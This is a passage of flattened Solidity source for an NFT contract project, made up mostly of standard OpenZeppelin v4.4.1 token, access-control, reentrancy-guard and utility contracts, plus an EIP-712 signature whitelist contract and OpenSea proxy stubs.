* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../utils/Context.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract EIP712Whitelisting is Ownable {
using ECDSA for bytes32;
// The key used to sign whitelist signatures.
// We will check to ensure that the key that signed the signature
// is this one that we expect.
address private whitelistSigningKey = address(0);
// Domain Separator is the EIP-712 defined structure that defines what contract
// and chain these signatures can be used for. This ensures people can't take
// a signature used to mint on one contract and use it for another, or a signature
// from testnet to replay on mainnet.
// It has to be created in the constructor so we can dynamically grab the chainId.
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md#definition-of-domainseparator
bytes32 internal DOMAIN_SEPARATOR;
// The typehash for the data type specified in the structured data
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md#rationale-for-typehash
bytes32 internal constant MINTER_TYPEHASH = keccak256("Minter(address wallet,int max)");
constructor(string memory _name) {
// This should match whats in the client side whitelist signing code
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(_name)),
keccak256(bytes("1")),
block.chainid,
address(this)
)
);
}
function setWhitelistSigningAddress(address newSigningKey) external onlyOwner {
whitelistSigningKey = newSigningKey;
}
function checkWhitelist(uint256 max, bytes calldata signature) internal view returns (bool) {
require(whitelistSigningKey != address(0), "Whitelist account not configured");
// Verify EIP-712 signature by recreating the data structure
// that we signed on the client side, and then using that to recover
// the address that signed the signature for this data.
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(MINTER_TYPEHASH, msg.sender, max))));
// Use the recover method to see what address was used to create
// the signature on this data.
// Note: that if the digest doesn't exactly match what was signed we'll
// get a random recovered address.
return digest.recover(signature) == whitelistSigningKey;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Opensea Proxy
import "./ContextMixin.sol";
import "./NativeMetaTransaction.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165.sol";
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
